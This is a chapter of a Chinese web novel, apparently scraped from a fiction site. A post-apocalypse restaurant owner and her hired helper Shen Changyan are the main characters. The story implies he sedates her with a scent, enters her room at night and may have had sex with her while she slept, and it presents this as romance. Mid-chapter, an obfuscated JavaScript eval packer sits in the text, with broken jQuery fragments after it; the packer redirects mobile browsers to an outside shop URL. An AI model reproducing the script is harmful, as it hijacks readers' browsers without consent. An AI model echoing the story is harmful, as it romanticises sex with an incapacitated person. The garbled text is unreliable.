沈长宴弯起眼睛笑:“好。”

    他当即脱了外衫,半裸着上身,裤腿卷到膝盖,露出半截小腿。

    扛着锄头一头扎进秘境。

    行走在田垄间,弯腰干活的姿势出人意料的熟练,一锄下去土翻得又深又匀,比凌寒那个第一天差点把自己埋进地里的废物强了不少。

    秘境之灵晃荡着,似乎察觉到沈长宴身上的员工气息,它没有封印沈长宴的记忆。

    “手脚麻利点,今天收获不到十万斤萝卜,不许休息。”

    姜萝喊道。

    沈长宴直起腰回头,隔着院子冲姜萝笑了一下。

    阳光落在他脸上,照出他眼底真切的笑意,汗水顺着下颌滑下来,沿着脖颈流进衣领。

    白皙的肌肤透出一层微红。

    姜萝啪地关上窗户,继续剁萝卜。

    想要快速的扩大知名度,断情萝卜的食用方法就要变一变。

    烤成丹药一样得萝卜丹丸是最好的。

    符合客户群体的胃口。

    营业第一天,在沈长宴之后,在没有人来。

    姜萝果断提前收工。

    安全屋升级的餐厅没有员工休息室。

    系统准备的秘境里有。

    洗漱完,姜萝对着镜子细细摸着药膏。

    她的皮肤上都是疤痕,需要慢慢修复。

    看着这张脸,姜萝疑惑。

    也不知道沈长宴这么笃定没找错人的原因是什么,不过都不碍事。

    末日三年,她会的可不是花拳绣腿。

    在安全屋领域,她这个主人拥有绝对的掌控权。

    怀着无比的自信,姜萝躺在柔软干净的床铺上,慢慢睡着了。

    空气中,渐渐弥漫的香气让她睡得愈发昏沉。

    窗户嘎吱一声被推开。

    细长的影子由远及近的放大。

    系统:……

    “嘘……”

    沈长宴在唇瓣竖起一根手指,示意系统闭嘴。

    系统:……

    “请勿做违法违规之事。”

    它不敢说话,只能打出这句话。围着沈长宴绕圈。

    沈长宴没理会它,轻轻走到姜萝床边,目光温柔。

    因为想要感受正常的温度,姜萝没有盖被子,她双手交叠放在小腹,睡颜安静。

    沈长宴不知道从哪找了条薄毯,轻轻搭在她身上。

    姜萝没睁眼,只是鼻尖闻到一股极淡的竹叶香。

    她翻了个身,把脸埋进毯子里。然后做了个…梦。

    梦里她躺在一张铺着锦缎的床上,帷幔垂下来,光线昏黄暧昧。

    身体很热,像泡在温水里,皮肤上每一寸触感都被放大了无数倍。

    有人压在她身上,呼吸拂过她的脖颈,嘴唇含着她的耳垂轻轻吮了一下。

    她难耐地喘*细了一声。

    她听见自己的声音,绵软得不像话。

    身上那人抬起脸。

    熟悉的俊美脸庞,是沈长宴。

    上挑的眼睛里都是水光,额发湿漉漉地贴在眉骨上,表情克制又崩溃,像是在忍耐什么极为难熬的东西。

    听见她的声音,他低头吻她的嘴角,声音沙哑得不成样子。

    “嫂子……”

    唇边的触感让姜萝惊了下,她挣扎着,想要踢开。然后他在她身体里,缓慢而深重地顶了一下。

    她整个人颤起来,顿时没了力气。

    手指攥紧了身下的锦缎,从喉咙里挤出一声呻吟。

    画面顿时黑了下去。

    姜萝猛地睁开眼睛,瞬间起身。

    因为她的动作,毯子滑到腰际。她顾不上去捡,吓得浑身都是汗。

    喘了好半天才平复呼吸,手指攥着毯子的边角攥到指节发白。

    等冷静下来,他回忆起梦里的场景。

    “操。”

    她骂了一声。

    “宿主早上好。”

    系统的声音响起。

    姜萝没理会,她走到窗边。

    只是做了一个梦,一夜的时间就过去了。

    天刚蒙蒙亮,后院已经有人走动的声音。

    沈长宴已经在田里了。

    他背对着她,拿着锄头正在翻土。晨光给他轮廓镀了一层金边,衬得那截腰线利落又结实。

    和梦里结实强劲的腰线一模一样。

    姜萝猛地拉上窗帘,她在脑子里咆哮:“系统,昨天我房间来人了吗?”

    系统的声音听起来难得的迟疑:“……唔,来…还是没来呢?”

    “宿主为什么要问这个?”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745202|209262||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “因为我做梦了。”

    姜萝死鱼眼看着系统,“梦到和小叔子苟且,然后被浸猪笼了。”

    “不可能!”

    系统扬声道,“宿主你绝不会被浸猪笼,我会带你逃跑的。”

    “那我谢谢你,”姜萝咬牙切齿,“回答我刚才的问题。”

    系统:“……”

    “你觉得呢?”

    姜萝站在原地,胸口起伏了好几下。

    她觉得自己被搞了,那这个人只会是一个。

    能避开安全屋的警报系统,还能压下系统的提醒。

    沈长宴是什么人?

    她看着窗帘透进来的光,脑子里都是沈长宴的脸,沈长宴身材,沈长宴的……她不由想象沈长宴在外面弯腰锄地、汗流浃背的样子。

    汗水滑过他的脸颊、胸口……

    指尖有点麻。

    姜萝强制自己冷静下来。

    都怪末日来的太突然,她母胎单身到现在。

    末日更是因为没条件,连男人的手都没摸过。

    不对,摸过的。

    杀人的时候有时候要捏下巴。

    要不然脖子就歪了,砍下去容易飙血。

    但她确认自己没有发生过那种关系。

    梦里的身体反馈太真实了,那种被掌控、温柔地又强势地贯穿的感觉,像烙印一样留在了她身上。

    “你有未成年人模式吗?”她问。

    “系统没有。”

    “……废物。”

    她用力搓了把脸,换了件干净衣服推门出去。

    经过院子时沈长宴正弯腰拔草,抬头看见她,露出那个标志性的温柔笑容。

    “早啊,嫂…老婆。”

    姜萝目不斜视,脾气很不好的骂了一句:“滚。”

    俩人擦肩而过的同时,沈长宴从怀里摸出一个布包递过来:“桂花糕,刚蒸的。”

    她本来不想吃的,但看着厨房少了些许的面粉,问:“拿我的面粉蒸的?”

    沈长宴点头。

    她冷着脸全接过去,掰了块塞进嘴里。

    桂花蜜裹着糯米粉,软软糯糯的,甜得刚刚好。

    厨艺确实不错。

    “扣你工资!”

    姜萝开口。

    沈长宴:“……好的。”